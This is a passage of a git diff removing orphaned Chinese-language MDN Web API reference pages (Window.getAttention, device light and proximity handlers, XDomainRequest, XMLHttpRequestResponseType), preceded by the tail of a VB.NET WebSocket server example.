-Sub Main() 'Program Entry point - Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer) - 'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers - thread.Start() -End Sub - -Public Shared WebSocketServer As TypeDef.WebSocket.Server -Public Shared Sub StartWebSocketServer() - WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000) - WebSocketServer.startServer() -End Sub -</pre> diff --git a/files/zh-cn/orphaned/web/api/window/getattention/index.html b/files/zh-cn/orphaned/web/api/window/getattention/index.html deleted file mode 100644 index 72fddbcc97..0000000000 --- a/files/zh-cn/orphaned/web/api/window/getattention/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Window.getAttention() -slug: orphaned/Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention -original_slug: Web/API/Window/getAttention ---- -<div>{{ ApiRef() }}</div> - -<p>The <code><strong>Window.getAttention()</strong></code> method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">window.getAttention(); -</pre> - -<h2 id="Notes">Notes</h2> - -<p>On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.</p> - -<p>On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.</p> - -<p>On Macintosh, the icon in the upper right corner of the desktop flashes.</p> - -<p>The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. <code>getAttention</code> will still work when used from <a href="en/Chrome">chrome</a> in a Gecko application.</p> - -<h2 id="Specification">Specification</h2> - -<p>DOM Level 0. Not part of specification.</p> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Window.getAttention")}}</p> diff --git a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html b/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html deleted file mode 100644 index d4e668dc85..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondevicelight/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Window.ondevicelight -slug: orphaned/Web/API/Window/ondevicelight -tags: - - 实验中 - - 属性 - - 引用 - - 接口 - - 环境光事件 -translation_of: Web/API/Window/ondevicelight -original_slug: Web/API/Window/ondevicelight ---- -<div>{{APIRef}}</div> - -<div>声明一个事件监听用以接收{{event("devicelight")}}事件。事件在设备的光传感器检测到周围环境光的强度发生变化时触发。</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">window.ondevicelight = <var>funcRef</var></pre> - -<p>当{{event("devicelight")}}事件触发时,调用<code><em>funcRef</em></code>函数。这些事件皆为 {{domxref("DeviceLightEvent")}}事件类型。</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('AmbientLight', '#event-handlers', 'Ambient Light Events')}}</td> - <td>{{Spec2('AmbientLight')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile("15.0")}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] 事件{{event("devicelight")}} 的使用最先被实现应用在Android (15.0) 的移动端火狐浏览器和火狐操作系统(B2G)。从 Gecko 22.0 {{geckoRelease("22.0")}}开始,面向Mac OS X 的桌面应用也已实现。目前对Windows 7的支持还在进行中(详见 {{bug(754199)}})。</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{event("devicelight")}}</li> - <li>{{domxref("DeviceLightEvent")}}</li> - <li><a href="/en-US/docs/Web/API/DeviceLightEvent/Using_light_events">Using Light Events</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html b/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html deleted file mode 100644 index 5a7d414518..0000000000 --- a/files/zh-cn/orphaned/web/api/window/ondeviceproximity/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Window.ondeviceproximity -slug: orphaned/Web/API/Window/ondeviceproximity -translation_of: Web/API/Window/ondeviceproximity -original_slug: Web/API/Window/ondeviceproximity ---- -<p>{{ ApiRef() }}</p> - -<p>指定一个事件监听器来接受 {{event("deviceproximity")}} 事件,当设备传感器检测到一个对象越来越接近或远离设备时这些事件就会出现。</p> - -<h2 id="语法">语法</h2> - -<pre>window.onuserproximity = <em>funcRef</em></pre> - -<p>其中funcRef是在发生 {{event("deviceproximity")}} 事件时要调用的函数。这些事件的类型为{{domxref("DeviceProximityEvent")}}。</p> - -<h2 id="Specifications" name="Specifications">规范</h2> - -<table class="standard-table" style="height: 49px; width: 1000px;"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('Proximity Events', '#device-proximity', 'Proximity Events') }}</td> - <td>{{ Spec2('Proximity Events') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatVersionUnknown() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatGeckoMobile("15.0") }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{event("deviceproximity")}}</li> - <li>{{domxref("DeviceProximityEvent")}}</li> - <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html b/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html deleted file mode 100644 index 743c8493cc..0000000000 --- a/files/zh-cn/orphaned/web/api/window/onuserproximity/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Window.onuserproximity -slug: orphaned/Web/API/Window/onuserproximity -translation_of: Web/API/Window/onuserproximity -original_slug: Web/API/Window/onuserproximity ---- -<p>{{ ApiRef() }}</p> - -<p><strong><code>Window.onuserproxymity</code></strong> 属性代表一个 {{event("Event_handlers", "event handler")}}, 当触发 {{event("userproximity")}} 事件时会调用这个函数。这些事件是 {{domxref("UserProximityEvent")}} 类型的,在设备传感器检测到对象变得靠近时触发。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>window</em>.onuserproximity = <em>eventHandler</em></pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">评论</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ SpecName('Proximity Events', '#user-proximity', 'Proximity Events') }}</td> - <td>{{ Spec2('Proximity Events') }}</td> - <td>Initial specification</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - -<p>{{Compat("api.Window.onuserproximity")}}</p> - -<h2 id="其他">其他</h2> - -<ul> - <li>{{event("userproximity")}}</li> - <li>{{domxref("UserProximityEvent")}}</li> - <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity Events</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html b/files/zh-cn/orphaned/web/api/xdomainrequest/index.html deleted file mode 100644 index a9d7eaf905..0000000000 --- a/files/zh-cn/orphaned/web/api/xdomainrequest/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: XDomainRequest -slug: orphaned/Web/API/XDomainRequest -tags: - - AJAX - - API - - IE - - JavaScript - - Web - - 废弃 - - 微软 - - 非标准 -translation_of: Web/API/XDomainRequest -original_slug: Web/API/XDomainRequest ---- -<p>{{obsolete_header}}</p> - -<p>{{non-standard_header}}</p> - -<h2 id="摘要">摘要</h2> - -<p><span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest是在IE8和IE9上的</span><a href="/en-US/docs/HTTP/Access_control_CORS" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">HTTP access control (CORS) </a>的实现,在IE10中被<span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"> 包含CORS的</span><a href="/en-US/docs/Web/API/XMLHttpRequest" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XMLHttpRequest </a>取代了,如果你的开发目标是IE10或IE的后续版本,或想要支待其他的浏览器,你需要使用标准的<a href="/en-US/docs/Web/HTTP/Access_control_CORS" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">HTTP access control</a>。</p> - -<p>该接口可以发送GET和POST请求</p> - -<h2 id="语法">语法</h2> - -<pre>var xdr = new XDomainRequest();</pre> - -<p>返回<span style="font-family: Consolas,Monaco,'Andale Mono',monospace; font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest的实例,该实例可以被用来生成或管理请求。</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("XDomainRequest.timeout")}}</dt> - <dd>获取或设置请求的过期时间。</dd> - <dt>{{domxref("XDomainRequest.responseText")}}</dt> - <dd>以字符串形式获取响应体。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("XDomainRequest.open()")}}</dt> - <dd>根据指定的方法(GET或POST)和URL,打开请求。</dd> - <dt>{{domxref("XDomainRequest.send()")}}</dt> - <dd>发送请求。POST的数据会在该方法中被指定。</dd> - <dt>{{domxref("XDomainRequest.abort()")}}</dt> - <dd>中止请求。</dd> -</dl> - -<h2 id="事件处理程序">事件处理程序</h2> - -<dl> - <dt>{{domxref("XDomainRequest.onprogress")}}</dt> - <dd>当请求中发送方法和onload事件中有进展时的处理程序。</dd> - <dt>{{domxref("XDomainRequest.ontimeout")}}</dt> - <dd>当请求超时时的事件处理程序。</dd> - <dt>{{domxref("XDomainRequest.onerror")}}</dt> - <dd>当请求发生错误时的处理程序。</dd> - <dt>{{domxref("XDomainRequest.onload")}}</dt> - <dd>当服务器端的响应被完整接收时的处理程序。</dd> -</dl> - -<h2 id="例子">例子</h2> - -<pre class="brush: js">if(window.XDomainRequest){ - var xdr = new XDomainRequest(); - - xdr.open("get", "http://example.com/api/method"); - - xdr.onprogress = function () { - //Progress - }; - - xdr.ontimeout = function () { - //Timeout - }; - - xdr.onerror = function () { - //Error Occured - }; - - xdr.onload = function() { - //success(xdr.responseText); - } - - setTimeout(function () { - xdr.send(); - }, 0); -}</pre> - -<div> </div> - -<div class="note"> -<p><strong>注意: </strong>如果多个XDomainRequests同时被发送,一些请求可能会丢失,为避免这种情况,xdr.send()的调用应被包裹在setTimeout方法中(见{{domxref("window.setTimeout()")}})。</p> -</div> - -<h2 id="安全">安全</h2> - -<p><span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">XDomainRequest为了确保安全构建,采用了多种方法。</span></p> - -<ul> - <li>安全协议源必须匹配请求的URL。(http到http,https到https)。如果不匹配,请求会报“拒绝访问”的错误。</li> - <li>被请求的URL的服务器必须带有<span style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"> 设置为(“*”)或包含了请求方的</span><code style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;"><a href="/en-US/docs/Web/HTTP/Access_control_CORS#Access-Control-Allow-Origin" style="font-size: 14.4444446563721px; line-height: 23.3333339691162px;">Access-Control-Allow-Origin</a>的头部。</code></li> -</ul> - -<h2 id="标准">标准</h2> - -<p>该接口及其方法没有遵循标准。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>XDomainRequest</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>8.0-9.x</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>XDomainRequest</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<section id="Quick_Links"> -<ol> - <li data-default-state="open"><a href="#"><strong>Properties</strong></a> - - <ol> - <li>{{domxref("XDomainRequest.timeout")}}</li> - <li>{{domxref("XDomainRequest.responseText")}}</li> - </ol> - </li> - <li data-default-state="open"><a href="#"><strong>Methods</strong></a> - <ol> - <li>{{domxref("XDomainRequest.open()")}}</li> - <li>{{domxref("XDomainRequest.send()")}}</li> - <li>{{domxref("XDomainRequest.abort()")}}</li> - </ol> - </li> - <li data-default-state="open"><a href="#"><strong>Event handlers</strong></a> - <ol> - <li>{{domxref("XDomainRequest.onprogress")}}</li> - <li>{{domxref("XDomainRequest.ontimeout")}}</li> - <li>{{domxref("XDomainRequest.onerror")}}</li> - <li>{{domxref("XDomainRequest.onload")}}</li> - </ol> - </li> -</ol> -</section> diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html deleted file mode 100644 index 52b110db5b..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequest/openrequest/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: XMLHttpRequest.openRequest() -slug: orphaned/Web/API/XMLHttpRequest/openRequest -translation_of: Web/API/XMLHttpRequest/openRequest -original_slug: Web/API/XMLHttpRequest/openRequest ---- -<p>{{APIRef("XMLHttpRequest")}}{{non-standard_header}}</p> - -<p>此Mozilla特定的方法仅在特权代码中可用<span class="seoSummary">, 且仅能从C++上下文中调用以初始化 <code>XMLHttpRequest</code>.</span><span class="seoSummary">若想要从JavaScript代码初始化一个request,请使用标准的</span> {{domxref("XMLHttpRequest.open", "open()")}} 方法.</p> diff --git a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html b/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html deleted file mode 100644 index 92738971cb..0000000000 --- a/files/zh-cn/orphaned/web/api/xmlhttprequestresponsetype/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: XMLHttpRequestResponseType -slug: orphaned/Web/API/XMLHttpRequestResponseType -translation_of: Web/API/XMLHttpRequestResponseType -original_slug: Web/API/XMLHttpRequestResponseType ---- -<div>{{APIRef("XMLHttpRequest")}}</div> - -<p><span class="seoSummary"><code><strong>XMLHttpRequestResponseType</strong></code> 类型是一个枚举字符串,用于指定包含在一个 {{domxref("XMLHttpRequest")}} 中的 {{domxref("XMLHttpRequest.response", "response")}} 的数据类型。</span>这些值用于获取或设置请求的 {{domxref("XMLHttpRequest.responseType", "responseType")}}。</p> - -<h2 id="取值">取值</h2> - -<dl> - <dt><code>""</code></dt> - <dd><code>responseType</code> 为空字符串时,采用默认类型 {{domxref("DOMString")}},与设置为 <code>text</code> 相同。</dd> - <dt><code>arraybuffer</code></dt> - <dd>{{domxref("XMLHttpRequest.response", "response")}} 是一个包含二进制数据的 JavaScript {{jsxref("ArrayBuffer")}}。</dd> - <dt><code>blob</code></dt> - <dd><code>response</code> 是一个包含二进制数据的 {{domxref("Blob")}} 对象 。</dd> - <dt><code>document</code></dt> - <dd><code>response</code> 是一个 {{Glossary("HTML")}} {{domxref("Document")}} 或 {{Glossary("XML")}} {{domxref("XMLDocument")}},这取决于接收到的数据的 MIME 类型。请参阅 <a href="/zh-CN/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">XMLHttpRequest 中的 HTML</a> 以了解使用 XHR 获取 HTML 内容的更多信息。</dd> - <dt><code>json</code></dt> - <dd><code>response</code> 是一个 JavaScript 对象。这个对象是通过将接收到的数据类型视为 {{Glossary("JSON")}} 解析得到的。</dd> - <dt><code>text</code></dt> - <dd><code>response</code> 是一个以 {{domxref("DOMString")}} 对象表示的文本。</dd> - <dt><code>ms-stream</code> {{non-standard_inline}}</dt> - <dd><code>response</code> 是下载流的一部分;此响应类型仅允许下载请求,并且仅受 Internet Explorer 支持。</dd> -</dl> - -<h2 id="已废弃的值">已废弃的值</h2> - -<dl> - <dt><code>moz-chunked-arraybuffer</code> {{non-standard_inline}}</dt> - <dd> - <p>与<code>"arraybuffer"</code>相似,但是数据会被接收到一个流中。使用此响应类型时,响应中的值仅在 {{event("progress")}} 事件的处理程序中可用,并且只包含上一次响应 <code>progress</code> 事件以后收到的数据,而不是自请求发送以来收到的所有数据。</p> - - <p>在 <code>progress</code> 事件处理时访问 <code>response</code> 将返回到目前为止收到的数据。在 <code>progress</code> 事件处理程序之外访问, <code>response</code> 的值会始终为 <code>null</code> 。</p> - - <p>You shouldn't use this non-standard (and, as of Firefox 68, entirely removed) API; instead, consider using <a href="/zh-CN/docs/Web/API/Streams_API/Using_readable_streams#Consuming_a_fetch_as_a_stream">the Fetch API with readable streams</a>, which offers a standard alternative to accessing the response in a streaming fashion.</p> - </dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('XMLHttpRequest')}}</td> - <td>{{Spec2('XMLHttpRequestResponseType')}}</td> - <td>Live standard, latest version</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.XMLHttpRequestResponseType")}}</p> - -<h2 id="了解更多">了解更多</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest</a></li> - <li><a href="/zh-CN/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">XMLHttpRequest 中的 HTML</a></li> -</ul> |